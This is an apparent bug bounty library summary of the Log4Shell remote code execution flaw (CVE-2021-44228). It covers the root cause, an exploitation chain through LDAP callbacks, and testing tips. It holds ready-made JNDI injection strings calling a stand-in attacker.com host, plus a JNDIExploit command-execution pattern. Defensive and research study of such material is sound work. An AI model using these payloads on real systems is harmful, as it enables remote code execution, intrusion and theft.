# Critical RCE Vulnerability Updates (log4j - CVE-2021-44228)

Log4j JNDI lookup injection in logged strings lets attackers trigger LDAP callbacks and execute remote Java code on vulnerable servers.

- Payout: Real-world hack
- Severity: critical
- Program: Apache Log4j
- Credited: Huntress
- Disclosed: 2021-12-10
- CVE: CVE-2021-44228
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-rapid-response-critical-rce-vulnerability-is-affecting-java
- Tags: domain:web impact:mass-exploit impact:rce kind:incident platform:threat-intel sev:critical tech:java technique:chained technique:oob-exfil vuln:command-injection vuln:rce

**Target:** Java logging library (log4j) via HTTP headers/form fields/chat messages
**Root cause:** Log4j performs JNDI lookups on ${jndi:...} expressions in logged strings without restriction, so attacker-controlled input reaching a log statement triggers outbound LDAP/DNS and remote class loading.
**Steps:**
1. Send `${jndi:ldap://attacker.com/resource}` in a logged field such as `User-Agent` or a POST form body
2. Log4j parses the expression and issues an LDAP request to attacker.com
3. LDAP response redirects to an attacker HTTP host serving a malicious Java class
4. Victim JVM loads and executes the class, yielding RCE
5. Use JNDIExploit with `${jndi:ldap://host:port/Basic/Command/Base64/<cmd>}` for command execution
**Exploitation:** Attacker controls an LDAP referrer and HTTP payload host plus a callback listener; a single logged string (e.g. Minecraft chat message) detonates on all clients joined to the server, executing arbitrary code such as calc, cmd, miners, Cobalt Strike, or ransomware.
**Escalation:** Spray-and-pray across public-facing services; JNDIExploit enables Base64 command execution; DNS-schema payloads (`jndi:dns://`) used as alternative exfil/trigger channel.
**Insight:** Any user-controlled string that reaches a logger is an injection surface; test headers like User-Agent and X-Forwarded-For, and use a unique LDAP callback identifier to confirm lookups without executing code.